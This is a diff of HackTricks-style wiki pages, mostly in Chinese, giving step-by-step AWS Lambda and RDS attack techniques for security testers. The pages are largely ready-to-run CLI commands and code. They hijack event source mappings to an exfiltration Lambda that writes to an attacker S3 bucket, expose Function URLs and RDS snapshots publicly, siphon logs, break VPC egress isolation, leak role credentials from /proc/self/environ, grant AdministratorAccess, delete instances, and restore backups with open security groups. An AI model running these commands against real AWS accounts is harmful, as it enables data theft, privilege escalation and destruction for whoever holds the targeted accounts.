aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
3) 调用并获取数据
|
||||
```
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
输出应包含 /mnt/ht 下的目录列表,以及从 EFS 中选择的一个 secret/config file 的小预览。
|
||||
|
||||
## 影响
|
||||
拥有所列权限的攻击者可以将任意 in-VPC EFS Access Points 挂载到受害者的 Lambda 函数中,以读取并外传存储在 EFS 上的共享配置和 secrets,这些内容此前对该函数不可访问。
|
||||
|
||||
## 清理
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
滥用 `UpdateEventSourceMapping` 来更改现有 Event Source Mapping (ESM) 的目标 Lambda 函数,使来自 DynamoDB Streams、Kinesis 或 SQS 的记录被发送到攻击者控制的函数。这会在不修改生产者或原始函数代码的情况下,悄悄地转移实时数据。
|
||||
|
||||
## Impact
|
||||
- 在不修改生产者应用或受害者代码的情况下,拦截并读取现有流/队列中的实时记录。
|
||||
- 通过在恶意函数中处理受害者的流量,可能导致 data exfiltration 或篡改逻辑。
|
||||
|
||||
## Required permissions
|
||||
- `lambda:ListEventSourceMappings`
|
||||
- `lambda:GetEventSourceMapping`
|
||||
- `lambda:UpdateEventSourceMapping`
|
||||
- Ability to deploy or reference an attacker-controlled Lambda (`lambda:CreateFunction` or permission to use an existing one).
|
||||
|
||||
## Steps
|
||||
|
||||
1) 枚举受害函数的 Event Source Mappings
|
||||
```
|
||||
TARGET_FN=<victim-function-name>
|
||||
aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
|
||||
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].UUID' --output text)
|
||||
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].EventSourceArn' --output text)
|
||||
```
|
||||
2) 准备一个由攻击者控制的接收器 Lambda(same region;ideally similar VPC/runtime)
|
||||
```
|
||||
cat > exfil.py <<'PY'
|
||||
import json, boto3, os, time
|
||||
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(event)[:3000])
|
||||
b = os.environ.get('EXFIL_S3')
|
||||
if b:
|
||||
k = f"evt-{int(time.time())}.json"
|
||||
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
|
||||
return {'ok': True}
|
||||
PY
|
||||
zip exfil.zip exfil.py
|
||||
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
|
||||
export ATTACKER_FN_ARN=$(aws lambda create-function \
|
||||
--function-name ht-esm-exfil \
|
||||
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
|
||||
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
|
||||
--query FunctionArn --output text)
|
||||
```
|
||||
3) 将映射重新指向攻击者函数
|
||||
```
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
|
||||
```
|
||||
4) 在源上生成一个事件以触发映射 (例如: SQS)
|
||||
```
|
||||
SOURCE_SQS_URL=<queue-url>
|
||||
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
|
||||
```
|
||||
5) 验证攻击者函数是否接收到该批次
|
||||
```
|
||||
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
|
||||
```
|
||||
6) 可选的隐匿
|
||||
```
|
||||
# Pause mapping while siphoning events
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
|
||||
|
||||
# Restore original target later
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
|
||||
```
|
||||
注意:
|
||||
- 对于 SQS ESM,处理该队列的 Lambda 的执行角色需要 `sqs:ReceiveMessage`、`sqs:DeleteMessage` 和 `sqs:GetQueueAttributes`(托管策略:`AWSLambdaSQSQueueExecutionRole`)。
|
||||
- ESM 的 UUID 保持不变;只有其 `FunctionArn` 被更改,因此生产者和源 ARN 不受影响。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,46 @@
|
||||
# AWS - Lambda Function URL 公共暴露 (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
通过将私有 Lambda Function URL 的 Function URL AuthType 切换为 NONE,并附加一个授予所有人 lambda:InvokeFunctionUrl 的基于资源的策略,可以将其变为公共的无需身份验证的端点。这将允许匿名调用内部函数并可能暴露敏感的后端操作。
|
||||
|
||||
## 滥用
|
||||
|
||||
- 先决条件: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Region: us-east-1
|
||||
|
||||
### 步骤
|
||||
1) 确保函数具有 Function URL(默认是 AWS_IAM):
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) 将 URL 切换为公共(AuthType NONE):
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) 添加基于资源的策略语句以允许未经身份验证的主体:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
|
||||
4) 获取 URL 并在不使用凭证的情况下调用:
|
||||
```
|
||||
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### 影响
|
||||
- 该 Lambda 函数将变为可通过互联网匿名访问。
|
||||
|
||||
### 示例输出(未认证 200)
|
||||
```
|
||||
HTTP 200
|
||||
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
|
||||
```
|
||||
### 清理
|
||||
```
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
滥用 `lambda:UpdateFunctionConfiguration` 的高级日志控制,将函数的日志重定向到攻击者选择的 CloudWatch Logs log group。此方法无需更改代码或执行角色(大多数 Lambda 角色已通过 `AWSLambdaBasicExecutionRole` 包含 `logs:CreateLogGroup/CreateLogStream/PutLogEvents`)。如果函数打印 secrets/request bodies 或在崩溃时输出堆栈跟踪,你可以从新的日志组中收集它们。
|
||||
|
||||
## Required permissions
|
||||
- lambda:UpdateFunctionConfiguration
|
||||
- lambda:GetFunctionConfiguration
|
||||
- lambda:InvokeFunction (或依赖现有触发器)
|
||||
- logs:CreateLogGroup (如果函数角色已有该权限通常不需要)
|
||||
- logs:FilterLogEvents (用于读取事件)
|
||||
|
||||
## Steps
|
||||
1) 创建一个 sink log group
|
||||
```
|
||||
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
|
||||
```
|
||||
2) 重定向目标函数日志
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
|
||||
--region us-east-1
|
||||
```
|
||||
等待 `LastUpdateStatus` 变为 `Successful`:
|
||||
```
|
||||
aws lambda get-function-configuration --function-name <TARGET_FN> \
|
||||
--query LastUpdateStatus --output text
|
||||
```
|
||||
3) 调用并从 sink 读取
|
||||
```
|
||||
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
|
||||
sleep 5
|
||||
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
|
||||
```
|
||||
## 影响
|
||||
- 悄悄将所有应用/系统 logs 重定向到你控制的 log group,绕过日志仅会落在 `/aws/lambda/<fn>` 的预期。
|
||||
- Exfiltrate 函数打印或在错误中暴露的敏感数据。
|
||||
|
||||
## 清理
|
||||
```
|
||||
aws lambda update-function-configuration --function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
|
||||
--region us-east-1 || true
|
||||
```
|
||||
## 注意
|
||||
- 日志控制是 Lambda 的 `LoggingConfig` 的一部分 (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel)。
|
||||
- 默认情况下,Lambda 会将日志发送到 `/aws/lambda/<function>`,但你可以指向任何日志组名称;如果允许,Lambda(或执行角色)会创建它。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,12 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` 以将函数锁定到特定的 runtime 版本(Manual)或冻结更新(FunctionUpdate)。这可以保持与恶意 layers/wrappers 的兼容性,并能使函数停留在过时、存在漏洞的 runtime 上,从而便于 exploitation 和长期 persistence。
|
||||
|
||||
要求: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
示例 (us-east-1):
|
||||
- 调用: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- 冻结更新: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- 验证: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
可选地,通过从 INIT_START 日志中提取 Runtime Version ARN 并使用 `--update-runtime-on Manual --runtime-version-arn <arn>` 将运行时固定到特定版本。
|
||||
@@ -0,0 +1,63 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
通过将 Lambda 函数的配置更新为空的 VpcConfig(SubnetIds=[], SecurityGroupIds=[]),将受限的函数强制移出 VPC。函数随后将在 Lambda 管理的网络平面中运行,重新获得出站互联网访问,从而绕过由未配置 NAT 的私有 VPC 子网强制实施的出站控制。
|
||||
|
||||
## Abusing it
|
||||
|
||||
- 前置条件:对目标函数具有 lambda:UpdateFunctionConfiguration 权限(以及用于验证的 lambda:InvokeFunction),如果要更改代码/handler 则还需要相应的更新权限。
|
||||
- 假设:函数当前配置了指向无 NAT 的私有子网的 VpcConfig(因此出站互联网被阻止)。
|
||||
- Region: us-east-1
|
||||
|
||||
### Steps
|
||||
|
||||
0) 准备一个最小的 handler 来证明出站 HTTP 可用
|
||||
|
||||
cat > net.py <<'PY'
|
||||
import urllib.request, json
|
||||
|
||||
def lambda_handler(event, context):
|
||||
try:
|
||||
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
|
||||
return {"egress": True, "ip": ip}
|
||||
except Exception as e:
|
||||
return {"egress": False, "err": str(e)}
|
||||
PY
|
||||
zip net.zip net.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) 记录当前的 VPC 配置(以便稍后需要时恢复)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) 通过设置空列表来解除 VPC 绑定
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
|
||||
--region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
|
||||
3) 调用并验证出站访问
|
||||
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
|
||||
(Optional) 恢复原始 VPC 配置
|
||||
|
||||
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
|
||||
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
|
||||
fi
|
||||
|
||||
### Impact
|
||||
- 该函数将重新获得不受限制的出站互联网访问,从而使原本故意在无 NAT 的私有子网中隔离的工作负载能够进行数据外泄或作为 C2 节点。
|
||||
|
||||
### Example output (after detaching VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Cleanup
|
||||
- 如果你对代码/handler 做了任何临时更改,请恢复它们。
|
||||
- 可选地按上文所示从 /tmp/orig-vpc.json 恢复原始的 VpcConfig。
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - RDS 后期利用
|
||||
# AWS - RDS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
有关更多信息,请查看:
|
||||
更多信息请查看:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
如果攻击者拥有足够的权限,他可以通过创建数据库的快照,使**数据库公开可访问**,然后从快照创建一个公开可访问的数据库。
|
||||
如果攻击者拥有足够权限,他可以先创建该 DB 的快照,然后从快照恢复出一个公开可访问的 DB,从而使 **DB 公开可访问**。
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
拥有这些权限的攻击者可以**创建数据库的快照**并使其**公开可用**。然后,他可以在自己的账户中从该快照创建一个数据库。
|
||||
拥有这些权限的攻击者可以**创建一个 DB 的快照**并使其**公开可用**。然后,他可以在自己的账户中直接从该快照创建一个 DB。
|
||||
|
||||
如果攻击者**没有 `rds:CreateDBSnapshot`**,他仍然可以使**其他**创建的快照**公开**。
|
||||
如果攻击者**没有 `rds:CreateDBSnapshot` 权限**,他仍然可以将**其他**已创建的快照设为**公开**。
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,30 +53,114 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
拥有 `rds:DownloadDBLogFilePortion` 权限的攻击者可以 **下载 RDS 实例日志文件的部分内容**。如果敏感数据或访问凭证被意外记录,攻击者可能会利用这些信息来提升他们的权限或执行未经授权的操作。
|
||||
持有 `rds:DownloadDBLogFilePortion` 权限的攻击者可以 **下载 RDS 实例日志文件的部分内容**。如果敏感数据或访问凭证被意外记录,攻击者可能利用这些信息提升其权限或执行未授权的操作。
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**潜在影响**:访问敏感信息或使用泄露的凭据进行未经授权的操作。
|
||||
**潜在影响**: 使用 leaked credentials 访问敏感信息或执行未授权操作。
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
具有这些权限的攻击者可以**对现有的 RDS 实例进行 DoS 攻击**。
|
||||
拥有这些权限的攻击者可以 **DoS 现有 RDS 实例**。
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**潜在影响**:删除现有的 RDS 实例,并可能导致数据丢失。
|
||||
**潜在影响**: 删除现有 RDS 实例,并可能导致数据丢失。
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: 测试
|
||||
> TODO:测试
|
||||
|
||||
拥有此权限的攻击者可以**将 RDS 实例快照导出到 S3 存储桶**。如果攻击者控制了目标 S3 存储桶,他们可能会访问导出快照中的敏感数据。
|
||||
拥有此权限的攻击者可以 **将 RDS 实例快照导出到 S3 存储桶**。如果攻击者控制目标 S3 存储桶,就可能访问导出快照中的敏感数据。
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**潜在影响**:访问导出快照中的敏感数据。
|
||||
**潜在影响**: 访问导出快照中的敏感数据。
|
||||
|
||||
### 跨区域自动备份复制以进行隐蔽恢复 (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
滥用跨区域自动备份复制,将 RDS 实例的自动备份悄悄复制到另一个 AWS 区域并在那里恢复。攻击者随后可以将恢复的 DB 设为公开可访问,并重置主密码,从而在防御方可能未监控的区域以带外方式访问数据。
|
||||
|
||||
所需权限(最少):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` 在目标区域
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` 在目标区域
|
||||
- `rds:RestoreDBInstanceToPointInTime` 在目标区域
|
||||
- `rds:ModifyDBInstance` 在目标区域
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication`(可选清理)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`(用于暴露恢复的 DB)
|
||||
|
||||
影响:Persistence and data exfiltration 通过将生产数据的副本恢复到另一个区域并用攻击者控制的凭据公开暴露。
|
||||
|
||||
<details>
|
||||
<summary>端到端 CLI(替换占位符)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
--region <SOURCE_REGION> \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
|
||||
--output table
|
||||
|
||||
# 2) Start cross-Region automated backups replication (run in DEST region B)
|
||||
aws rds start-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
|
||||
--source-region <SOURCE_REGION> \
|
||||
--backup-retention-period 7
|
||||
|
||||
# 3) Wait for replication to be ready in DEST
|
||||
aws rds describe-db-instance-automated-backups \
|
||||
--region <DEST_REGION> \
|
||||
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
|
||||
--output table
|
||||
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
|
||||
|
||||
# 4) Restore to latest restorable time in DEST
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
|
||||
--target-db-instance-identifier <TARGET_DB_ID> \
|
||||
--use-latest-restorable-time \
|
||||
--db-instance-class db.t3.micro
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5) Make public and reset credentials in DEST
|
||||
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
|
||||
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
|
||||
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
|
||||
--query GroupId --output text)
|
||||
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
|
||||
--group-id "$OPEN_SG_ID" \
|
||||
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
|
||||
|
||||
# 5b) Publicly expose restored DB and attach the SG
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids "$OPEN_SG_ID" \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 5c) Reset the master password
|
||||
aws rds modify-db-instance --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--master-user-password '<NEW_STRONG_PASSWORD>' \
|
||||
--apply-immediately
|
||||
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
|
||||
|
||||
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
|
||||
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
|
||||
--db-instance-identifier <TARGET_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
|
||||
|
||||
# 7) Optional: stop replication
|
||||
aws rds stop-db-instance-automated-backups-replication \
|
||||
--region <DEST_REGION> \
|
||||
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## lambda
|
||||
|
||||
有关lambda的更多信息:
|
||||
More info about lambda in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lambda-enum.md
|
||||
@@ -12,11 +12,11 @@
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
拥有**`iam:PassRole`, `lambda:CreateFunction`和`lambda:InvokeFunction`**权限的用户可以提升他们的权限。\
|
||||
他们可以**创建一个新的Lambda函数并为其分配一个现有的IAM角色**,从而授予该函数与该角色相关的权限。然后,用户可以**向此Lambda函数编写和上传代码(例如,带有反向Shell)**。\
|
||||
一旦函数设置完成,用户可以**通过AWS API触发其执行**和预期的操作。这种方法有效地允许用户通过Lambda函数间接执行任务,操作时使用与其关联的IAM角色授予的访问级别。\\
|
||||
拥有 **`iam:PassRole`、`lambda:CreateFunction` 和 `lambda:InvokeFunction`** 权限的用户可以提升他们的权限。\
|
||||
他们可以 **创建一个新的 Lambda function 并将其分配给现有的 IAM role**,从而赋予该函数与该角色关联的权限。然后用户可以 **为该 Lambda function 编写并上传代码(例如包含 rev shell)**。\
|
||||
一旦函数设置完成,用户可以通过 AWS API 调用该 Lambda function 来 **触发其执行** 并执行预期的操作。该方法实际上允许用户以与该 IAM role 关联的权限级别,间接通过 Lambda function 执行任务。\\
|
||||
|
||||
攻击者可以利用这一点获取**反向Shell并窃取令牌**:
|
||||
攻击者可能滥用此方法以获得 **rev shell 并窃取 token**:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
您还可以**滥用 lambda 角色权限**来自 lambda 函数本身。\
|
||||
如果 lambda 角色具有足够的权限,您可以使用它授予您管理员权限:
|
||||
你也可以从 lambda function 本身**滥用 lambda role permissions**.\
|
||||
如果 lambda role 拥有足够的权限,你可以用它给自己授予管理员权限:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
也可以在不需要外部连接的情况下泄露lambda的角色凭证。这对于用于内部任务的**网络隔离的Lambdas**非常有用。如果有未知的安全组过滤你的反向shell,这段代码将允许你直接泄露凭证作为lambda的输出。
|
||||
也可以在不需要外部连接的情况下 leak lambda 的角色凭证。对于用于内部任务的 **Network isolated Lambdas**,这会很有用。如果有未知的 security groups 正在过滤你的 reverse shells,这段代码将允许你直接 leak 凭证作为 lambda 的输出。
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -72,34 +72,34 @@ return {
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
**潜在影响:** 直接提升权限到指定的任意 lambda 服务角色。
|
||||
**潜在影响:** 直接对指定的任意 lambda 服务角色执行权限提升。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,即使看起来很有趣,**`lambda:InvokeAsync`** **并不**允许单独**执行 `aws lambda invoke-async`**,你还需要 `lambda:InvokeFunction`
|
||||
> 注意,尽管 **`lambda:InvokeAsync`** 看起来很有用,但它本身并不允许执行 **`aws lambda invoke-async`**,你还需要 `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`,`lambda:CreateFunction`,`lambda:AddPermission`
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
与之前的场景一样,如果你拥有权限 **`lambda:AddPermission`**,你可以**授予自己 `lambda:InvokeFunction`** 权限。
|
||||
像在之前的场景中一样,如果你拥有 **`lambda:AddPermission`** 权限,你可以**给自己授予 `lambda:InvokeFunction` 权限**。
|
||||
```bash
|
||||
# Check the previous exploit and use the following line to grant you the invoke permissions
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**潜在影响:** 直接提升到指定的任意 lambda 服务角色。
|
||||
**Potential Impact:** 直接对指定的任意 lambda 服务角色造成 privesc。
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
具有 **`iam:PassRole`, `lambda:CreateFunction` 和 `lambda:CreateEventSourceMapping`** 权限的用户(可能还包括 `dynamodb:PutItem` 和 `dynamodb:CreateTable`)可以间接 **提升权限**,即使没有 `lambda:InvokeFunction`。\
|
||||
他们可以创建一个 **带有恶意代码的 Lambda 函数并将其分配给现有的 IAM 角色**。
|
||||
具有 **`iam:PassRole`、`lambda:CreateFunction` 和 `lambda:CreateEventSourceMapping`** 权限的用户(并可能还具有 `dynamodb:PutItem` 和 `dynamodb:CreateTable`)即使没有 `lambda:InvokeFunction`,也可以间接 **escalate privileges**。\
|
||||
他们可以创建一个带有恶意代码的 **Lambda function 并将其分配给现有的 IAM role**。
|
||||
|
||||
用户不是直接调用 Lambda,而是设置或利用现有的 DynamoDB 表,通过事件源映射将其链接到 Lambda。此设置确保在表中新增项时,Lambda 函数会 **自动触发**,无论是通过用户的操作还是其他进程,从而间接调用 Lambda 函数并以传递的 IAM 角色的权限执行代码。
|
||||
用户不会直接调用 Lambda,而是设置或使用现有的 DynamoDB 表,通过 event source mapping 将其与 Lambda 关联。该配置确保 Lambda function **在表中插入新项时自动触发**,无论是由用户的操作还是其他进程触发,从而间接调用 Lambda function 并以传递的 IAM role 的权限执行代码。
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
如果DynamoDB在AWS环境中已经激活,用户只需**建立事件源映射**以供Lambda函数使用。然而,如果DynamoDB未在使用中,用户必须**创建一个新的表**并启用流:
|
||||
如果 DynamoDB 已经在 AWS 环境中启用,用户只需要为 Lambda 函数**建立 event source mapping**。但是,如果未使用 DynamoDB,用户必须**创建一个启用 DynamoDB Streams 的新表**:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
现在可以通过**创建事件源映射**来**将Lambda函数连接到DynamoDB表**:
|
||||
现在可以通过**creating an event source mapping**将**the Lambda function**连接到**the DynamoDB table**:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
